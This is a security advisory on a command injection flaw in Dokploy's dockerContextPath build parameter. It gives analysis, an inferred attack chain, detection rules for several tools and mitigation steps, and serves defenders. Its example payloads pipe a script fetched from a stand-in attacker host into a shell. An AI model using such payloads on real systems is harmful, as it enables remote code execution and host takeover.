CVE-2026-72885

Executive Summary

CVE-2026-72885 is an OS command injection vulnerability (CWE-78) affecting Dokploy, a free, self-hostable Platform-as-a-Service (PaaS), in all versions prior to 0.29.13. An authenticated user with application-editor privileges can achieve arbitrary command execution on the Dokploy host operating system by injecting shell metacharacters into the dockerContextPath parameter, which is concatenated unquoted into a cd command executed via execAsync. Exploitation results in full host compromise of the PaaS server; no in-the-wild exploitation has been confirmed, and there is no public PoC at the time of writing.

Technical Analysis

The vulnerability is a classic OS command injection flaw rooted in unsafe shell-string construction. According to the NVD description, the untrusted dockerContextPath parameter is accepted by the build UI component apps/dokploy/components/dashboard/application/build/show.tsx. From there, the value flows through the getDockerContextPath utility in packages/server/src/utils/filesystem/directory.ts before being interpolated into an unquoted cd command defined in packages/server/src/utils/builders/docker-file.ts. This constructed shell string is subsequently passed to execAsync, a child-process execution function that spawns an operating-system shell (/bin/sh-style) to run the command.

The core weakness is the absence of quoting or shell-escaping around the user-influenced dockerContextPath value. Because the value is concatenated directly into the shell command string, a malicious value containing shell metacharacters — semicolons (;), command substitution ($(...)), backticks (`), logical operators (&&, ||), or pipe characters (|) — will cause the shell to interpret the injected content as additional commands. Syntax such as cd /path; id or cd /path && curl attacker/payload.sh | sh results in the appended payload executing with the privileges of the Dokploy server process.

Attack surface characteristics:

• Authentication requirement: The attacker must hold at least an "application editor" role — i.e., they can modify an application's build configuration within the Dokploy UI or API.
• Trigger point: The injection is triggered at build time, when the docker-file builder invokes the affected code path and execAsync executes the assembled cd command.
• Execution context: Injected commands run as the user account that runs the Dokploy server service. In typical self-hosted deployments, this is a dedicated service user but may in misconfigured instances be root or an account with elevated permissions.
• No CVSS score available: The vendor/CNA has not published a CVSS vector. EPSS estimates a relatively low exploit probability (0.00577, 44.8th percentile of exploited CVEs), and the CVE is not listed in CISA KEV.

Insufficient technical detail is available on the exact input validation (or lack thereof) performed before dockerContextPath reaches getDockerContextPath; the description confirms, however, that the value is not sanitized before being placed in the unquoted cd expression.

Exploitation Scenarios

No public PoC or exploit code is available for CVE-2026-72885; the following attack chain is inferred strictly from the vulnerability class and the NVD description.

1. Reconnaissance / target identification: An attacker identifies an internet-exposed Dokploy instance (the platform is self-hostable and commonly reached via its default web dashboard on TCP 3000, often behind a reverse proxy). The attacker enumerates accounts and either compromises low-privilege credentials (phishing, password spraying, leaked secrets) or registers/obtains access as a user who can edit applications. The exploit requires only an application-editor role, not administrative access.

2. Triggering the flaw: The attacker opens the application build configuration in the dashboard and sets the dockerContextPath field to a malicious value containing shell-command injection syntax. Because the field is stored and later consumed by the build pipeline, the attack can be staged asynchronously — the payload is persisted in the build configuration and is executed the next time the build process for that application is invoked (either by the attacker or by an unsuspecting legitimate user triggering a deployment).

3. Payload / execution method: At build execution time, the stored dockerContextPath value is returned by getDockerContextPath and inserted into the unquoted cd command inside packages/server/src/utils/builders/docker-file.ts. The resulting string is handed to execAsync, which spawns a shell. A payload such as $(curl http://attacker/payload.sh | sh) or ; <attacker-command> will be interpreted by the shell, executing arbitrary code on the Dokploy host with the privileges of the service account.

4. Post-exploitation impact: Successful execution grants the attacker a command-execution foothold on the host. From there, the attacker can extract environment secrets stored for deployed applications, exfiltrate database credentials and TLS keys, pivot to other hosts on the internal network, install persistence (cron jobs, systemd units, reverse shells), and potentially compromise every application deployed on the PaaS platform. Because Dokploy manages containerized workloads, the attacker may also attempt to escape container isolation or manipulate Docker daemon configuration if the service account has the necessary group memberships.

Impact Assessment

Business impact: High. CVE-2026-72885 converts a low-privileged, authenticated account into full OS-level code execution on the PaaS control plane. The Dokploy host is a high-value asset: it stores build contexts, deployment configuration, environment variables, registry credentials, and SSL material for all tenant applications. Compromise of the host cascades to all workloads running on the platform.

Affected systems: All Dokploy deployments running versions prior to 0.29.13. The Affected Versions array provided by OSV is empty, but the NVD description unambiguously states the flaw exists "prior to 0.29.13".

Blast radius: The computing environment — the Dokploy administration host. Containers and applications managed by the platform are indirectly at risk through credential and secret theft, and the internal network is exposed as lateral-movement surface once the host is controlled.

Severity context: No CVSS score or vector is published (N/A), which complicates prioritization. The EPSS score of 0.00577 (44.8th percentile) indicates that, at present, exploitation in the wild is not prevalent. The absence from CISA KEV and the absence of public PoC/exploit code reduce immediate urgency, but the low complexity of the injection class and the authenticated-only requirement suggest that local/valid-credential attackers can trivially weaponize it once the vulnerable parameter is identified. The criticality of the impacted asset (PaaS host) elevates the effective risk beyond what the EPSS percentile alone suggests.

Detection Guidance

The detection rules below are pattern-based suggestions derived from the vulnerability mechanism (unquoted cd command executed via execAsync from a Node.js process). Because no public exploit exists, these signatures should be validated against your environment's normal Dokploy build activity and tuned to reduce false positives.

Sigma Rule

title: Dokploy dockerContextPath OS Command Injection - Process Creation
id: 5e4f2d8a-9c21-4b6a-8e4d-77c1a3a9e002
status: experimental
description: Detects shell process spawned by Dokploy node process with an unquoted cd command referencing dockerContextPath, indicating possible CVE-2026-72885 exploitation.
author: Valtersit Threat Intelligence
date: 2026-04-05
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72885
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - /node
            - /nodejs
    selection_shell:
        Image|endswith:
            - /sh
            - /bash
        CommandLine|contains|all:
            - '-c'
            - 'cd '
        CommandLine|contains:
            - 'dockerContextPath'
    selection_suspicious_metachar:
        CommandLine|contains:
            - ';'
            - '&&'
            - '||'
            - '$('
            - '`'
            - '|'
    condition: selection_parent and selection_shell and selection_suspicious_metachar
falsepositives:
    - Legitimate Docker build workflows where context path strings coincidentally contain metacharacters
level: high

YARA Rule

rule CVE_2026_72885_Dokploy_dockerContextPath_Injection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects code or build artifacts referencing the vulnerable unquoted cd + dockerContextPath pattern in Dokploy"
        cve = "CVE-2026-72885"
        date = "2026-04-05"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-72885"
    strings:
        $s_path_component = "apps/dokploy/components/dashboard/application/build/show.tsx" ascii
        $s_function = "getDockerContextPath" ascii
        $s_param = "dockerContextPath" ascii
        $s_exec = "execAsync" ascii
        $s_cd = "cd " ascii wide
    condition:
        uint16(0) == 0x5A4D or filesize < 1MB and
        2 of ($s_param, $s_function, $s_exec) and 1 of ($s_cd, $s_path_component)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-72885 Dokploy dockerContextPath OS Command Injection Attempt";
 flow:established,to_server;
 http.uri; content:"dockerContextPath"; nocase;
 pcre:"/dockerContextPath[^&]{0,200}?[;&|`$]/i";
 classtype:attempted-admin;
 sid:2026728851; rev:1; metadata:created_at 2026_04_05, updated_at 2026_04_05;)

Elastic Detection

process where event.category == "process" and event.action == "exec" and
  process.parent.name in ("node", "nodejs") and
  process.name in ("sh", "bash") and
  process.args in ("-c", "-lc") and
  process.command_line like "*dockerContextPath*" and
  process.command_line like "*cd *" and
  (process.command_line like "*;*" or
   process.command_line like "*&&*" or
   process.command_line like "*||*" or
   process.command_line like "*$(*" or
   process.command_line like "*`*")

Splunk SPL Query

index=main (sourcetype=linux_audit OR sourcetype="ProcessRollup2" OR sourcetype=WinEventLog:Sysmon)
| search (process_name=sh OR process_name=bash) parent_process_name=node*
| where match(command_line, "dockerContextPath")
| eval suspicious=if(match(command_line, "[;&|`$()]"),"true","false")
| search suspicious="true"
| table _time, host, user, parent_process_name, process_name, command_line
| sort - _time

Wazuh OSSEC Rule

<group name="dokploy,cve_2026_72885,">
  <rule id="100885" level="12">
    <if_sid>571, 550</if_sid>
    <field name="audit.exe">/bin/sh</field>
    <match>dockerContextPath</match>
    <regex>cd .*[;&|`$]</regex>
    <description>CVE-2026-72885: Dokploy dockerContextPath OS command injection - arbitrary shell command execution detected on Dokploy host</description>
    <group>pci_dss_6.5.2,</group>
    <mitre>
      <id>T1068</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence for this advisory is 2/4 (CLAIMED) — the fix in version 0.29.13 is claimed by a single source (OSV) and has not been independently verified. Treat the patch confirmation as provisional.

1. Immediate mitigations (before patching):

   • Restrict the ability to modify application build configurations to trusted administrators only. If the platform supports role-based access control, remove or suspend application-editor roles for non-administrative users until the instance is patched.
   • Review all existing application build configurations for dockerContextPath values containing shell metacharacters (;, &&, ||, $(), backticks, |). If any are found, assume compromise and perform incident response on the host.
   • Limit network exposure of the Dokploy management interface: place it behind a VPN, bastion, or allow-list at the firewall/WAF level to reduce the reachable attack surface.
   • Run the Dokploy service under a least-privilege, non-root account with no Docker group membership unless strictly required, to limit the blast radius of any successful injection.

2. Patch / upgrade steps:

   • Upgrade to Dokploy 0.29.13 or later as soon as the release is available and verified. Because the patch source is a single OSV claim, test the upgrade in a staging environment first and confirm the fixed version resolves the command-injection behavior before deploying to production.
   • After upgrading, re-validate build workflows that use custom dockerContextPath values to confirm legitimate functionality is unaffected.
   • Monitor the vendor's release channel and CVE/NVD feed for an independent confirmation of the patch and for any additional affected-version details (the OSV Affected Versions array is currently empty).

3. Long-term hardening:

   • Implement strict server-side input validation for all build parameters, especially dockerContextPath; reject shell metacharacters or, preferably, refactor the code to pass arguments to the child process as an argument array instead of a concatenated shell string (avoiding execAsync with shell interpolation entirely).
   • Add host-level endpoint detection and response (EDR) with process-tree visibility on the Dokploy host, and alert on any node parent spawning interactive shells.
   • Enforce routine credential rotation for service accounts and secrets stored in Dokploy; assume that any potential pre-patch exposure invalidates them.
   • Maintain a vulnerability-management cadence for self-hosted PaaS platforms, which are frequently overlooked in asset inventories.

References

1. NVD — CVE-2026-72885: https://nvd.nist.gov/vuln/detail/CVE-2026-72885
2. OSV Advisory for CVE-2026-72885 (patch source, confidence 2/4): https://osv.dev/vulnerability/CVE-2026-72885
3. Dokploy official repository and release channel (fixed in 0.29.13): https://github.com/Dokploy/dokploy
4. MITRE CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): https://cwe.mitre.org/data/definitions/78.html
5. CISA Known Exploited Vulnerabilities catalog (CVE-2026-72885 not listed as of this report): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat-actor activity: No known threat-actor campaigns targeting CVE-2026-72885 and no evidence of exploitation in the wild have been identified as of the date of this report. EPSS places the probability of exploitation below the median of published CVEs (44.8th percentile), and the authenticated-access requirement limits the population of potential attackers to those who already possess a low-privileged account on the target Dokploy instance.